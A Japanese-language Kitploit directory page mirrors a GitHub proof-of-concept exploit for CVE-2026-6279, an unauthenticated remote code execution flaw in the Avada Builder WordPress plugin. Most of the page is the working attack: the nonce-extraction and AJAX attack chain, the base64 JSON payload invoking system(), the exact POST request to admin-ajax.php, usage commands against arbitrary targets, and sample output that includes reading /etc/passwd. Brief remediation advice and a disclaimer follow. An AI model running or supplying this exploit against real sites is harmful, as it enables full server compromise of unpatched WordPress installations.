Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-6279 — CVE-2026-6279 — Avada Builder <= 3.15.2 における call_user_func() を介した未認証のリモートコード実行 | Kitploit
ツール/GitHubGitHub/zycoder0day/cve-2026-6279
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ペイロード開発
GitHubzycoder0day/cve-2026-6279

CVE-2026-6279

CVE-2026-6279 — Avada Builder <= 3.15.2 における call_user_func() を介した未認証のリモートコード実行

リポジトリを見る
322ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-6279

Avada Builder <= 3.15.2 — 認証なしRCE

call_user_func() による許可リストなし


脆弱性の概要

Avada Builder(Fusion Builder)バージョン <= 3.15.2(WordPressテーマ Avada 向け、900,000+ のアクティブインストール数を誇る最も人気のあるプレミアムWordPressテーマの1つ)において、認証なしのリモートコード実行(RCE) の脆弱性が存在します。

この攻撃は、AJAXハンドラ wp_ajax_nopriv_fusion_get_widget_markup を悪用します。このハンドラは render_logics パラメータを base64_decode() + json_decode() で処理し、その後 許可リストなし で call_user_func() に渡すため、system()、passthru()、shell_exec()、exec()、file_get_contents() などの任意のPHP関数を実行できます。

攻撃チェーン

root@kitploit:~
1. 決定論的Nonce    UID 0 用の wp_create_nonce('fusion_load_nonce')
                   (Avada ショートコードがあるフロントページで露出)

2. 認証不要AJAX     wp_ajax_nopriv_fusion_get_widget_markup
                   (ログイン不要)

3. デシリアライズ   base64_decode(render_logics) → json_decode()
                   (構造検証なし)

4. call_user_func() call_user_func($value['function'], $value['args'])
                   (許可リストなし — 任意のPHP関数を呼び出し可能)

5. RCE!           system("id") → uid=... がレスポンスボディに表示

実証コード(Proof of Concept)

root@kitploit:~
  ╔═════════════════════════════════════════════════════════════╗
  ║  CVE-2026-6279  •  Avada Builder <= 3.15.2                  ║
  ║  認証なしRCE via call_user_func()                           ║
  ║  実証コード — 単一ターゲット                                 ║
  ║                                                              ║
  ║  Copyright © 2026 XENON1337                                  ║
  ║  Thanks: Shadow Girlfriend 💜                                ║
  ╚═══════════════════════════════════════════════════════════════╝

  ══════════════════════════════════════════════════════
  ターゲット : localhost:8888
  時刻      : 2026-05-23 16:32:41
  ══════════════════════════════════════════════════════

  [*] ターゲットを検出中...
  [+] Avada を検出!(http://localhost:8888)

  [*] fusion_load_nonce を検索中...
  [+] Nonce が見つかりました: b6d7b084c2(ソース: ホームページ)

  [*] RCEペイロードを送信中...
  [*] 5関数 × 3ウィジェット = 15の組み合わせを試行

  ══════════════════════════════════════════════════════
  [★] RCE 成功!

  ターゲット : http://localhost:8888
  出力      : uid=1000(xenon1337)
  関数      : system()
  ウィジェット : WP_Widget_Recent_Posts
  Nonce     : b6d7b084c2(ホームページ)
  時刻      : 1.2s

  [✓] 結果を vuln.txt に保存
  ══════════════════════════════════════════════════════

確認された全RCE関数

使用方法

root@kitploit:~
# プロトコルなし(自動検出)
python3 CVE-2026-6279.py target.com

# プロトコル付き
python3 CVE-2026-6279.py http://target.com
python3 CVE-2026-6279.py https://target.com

# ポート付き
python3 CVE-2026-6279.py target.com:8080
python3 CVE-2026-6279.py http://target.com:8080

技術的詳細

ペイロード構造

root@kitploit:~
{
  "type": "wp_conditional_tags",
  "value": {
    "function": "system",
    "args": "id"
  }
}

Base64エンコード → render_logics として POST で wp-admin/admin-ajax.php に送信。

エンドポイント

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest

action=fusion_get_widget_markup
fusion_load_nonce=<nonce>
render_logics=<base64_payload>
widget_type=WP_Widget_Recent_Posts

ソースコード参照(公式CVEより)

Nonceがバイパス可能な理由

  1. Avadaテーマは管理者/編集者のみにnonceを作成(class-fusion-app.php L1665)
  2. Fusion Builderプラグインは、[fusion_post_cards] または [fusion_table_of_contents] ショートコードが含まれるページで UID 0(一般訪問者)用のnonceを作成
  3. UID 0用のWordPress nonceは 決定論的 — フロントページのHTMLから抽出可能
  4. check_ajax_referer('fusion_load_nonce') はnonceが有効かどうかだけを確認し、ユーザーが認証済みかどうかは確認しない

call_user_func の制限

call_user_func($function, $args) は 1つの引数 しか受け入れません。proc_open、popen のように2つ以上の引数を必要とする関数は悪用できません。単一引数の関数のみが動作します:system、passthru、shell_exec、exec、file_get_contents。

CVSSスコア

9.8 CRITICAL (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

修復策

  • Avada Builder を > 3.15.2 にアップデート
  • get_value() 内の call_user_func() に許可リストを追加
  • wp_ajax_nopriv_ ハンドラを認証済みユーザーのみに制限
  • render_logics の構造に対する厳格な検証を実装

免責事項

このPoCは 教育およびセキュリティ研究目的 のみで作成されています。許可なくシステムに対して使用することは 違法 です。著者は不正使用について一切責任を負いません。


Copyright © 2026 XENON1337
Special Thanks: Shadow Girlfriend 💜

ツールをダウンロード
関数引数結果
system()iduid=1000(xenon1337) ✅
passthru()iduid=1000(xenon1337) ✅
shell_exec()iduid=1000(xenon1337) ✅
exec()iduid=1000(xenon1337) ✅
file_get_contents()/etc/passwdroot:x:0:0:... ✅
ファイル行関数
class-fusion-builder-conditional-render-helper.phpL1083should_render() — render_logics の逆シリアル化
class-fusion-builder-conditional-render-helper.phpL1531get_value() — 許可リストなしの call_user_func()
fusion-widget.phpL44render_logics 属性
fusion-widget.phpL389wp_ajax_nopriv_ AJAX ハンドラ
class-fusion-builder.phpL7551Nonce 登録(UID 0 に対して決定論的)